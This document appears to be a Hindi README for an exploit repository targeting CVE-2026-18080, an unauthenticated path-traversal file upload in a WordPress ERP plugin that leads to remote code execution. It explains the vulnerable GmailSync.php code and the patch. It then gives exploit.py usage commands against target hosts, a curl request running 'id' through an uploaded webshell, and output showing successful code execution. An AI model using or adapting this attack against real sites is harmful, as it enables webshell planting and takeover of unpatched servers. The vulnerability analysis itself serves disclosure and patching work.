
CVE-2026-18080 के लिए एक्सप्लॉइट, ERP Complete HR, Accounting & CRM Suite में अनधिकृत मनमाना फ़ाइल अपलोड जो RCE की ओर ले जाता है। स्वचालित शोषण के लिए Python और PHP स्क्रिप्ट शामिल हैं।
| फ़ील्ड | मान |
|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| पैच | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8 (क्रिटिकल) |
| CWE | CWE-434 (खतरनाक प्रकार की फ़ाइल का अप्रतिबंधित अपलोड) |
| प्रभावित | ERP प्लगइन संस्करण <= 1.17.7 (1.17.8 में ठीक किया गया) |
ERP प्लगइन का GmailSync.php में save_attachments() फ़ंक्शन IMAP से आने वाले ईमेल अटैचमेंट को बिना पाथ नॉर्मलाइज़ेशन के प्रोसेस करता है। एक हमलावर ../../plugins/shell.php जैसे फ़ाइलनाम और प्लगइन के अपेक्षित पैटर्न से मेल खाते हुए नकली References हेडर वाला ईमेल तैयार कर सकता है। क्रॉन-आधारित IMAP सिंक जॉब फ़ाइल को .htaccess-सुरक्षित crm-attachments/ निर्देशिका के बाहर wp-content/ के अंतर्गत किसी भी लिखने योग्य पथ में लिख देता है।
GmailSync.php (v1.17.7) में:
$name = $item['name']; // कोई basename() या पाथ नॉर्मलाइज़ेशन नहीं
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
फ़ाइलनाम ../../plugins/shell.php को $dir (wp-content/uploads/crm-attachments/) के साथ जोड़ने पर wp-content/plugins/shell.php प्राप्त होता है — एक ऐसी निर्देशिका जहाँ PHP निष्पादन की अनुमति है।
फिक्स (v1.17.8) में sanitize_attachment_filename() जोड़ा गया है जो basename() के माध्यम से निर्देशिका घटकों को हटाता है, पाथ सेपरेटर को अस्वीकार करता है, और खतरनाक एक्सटेंशन को ब्लॉक करता है।
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
सफल अपलोड के बाद:
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| फ़ाइल | विवरण |
|---|---|
exploit.py | wp-cli का उपयोग करने वाली Python शोषण स्क्रिप्ट |
exploit.php | wp eval-file के लिए स्टैंडअलोन PHP शोषण |
README.md | यह फ़ाइल |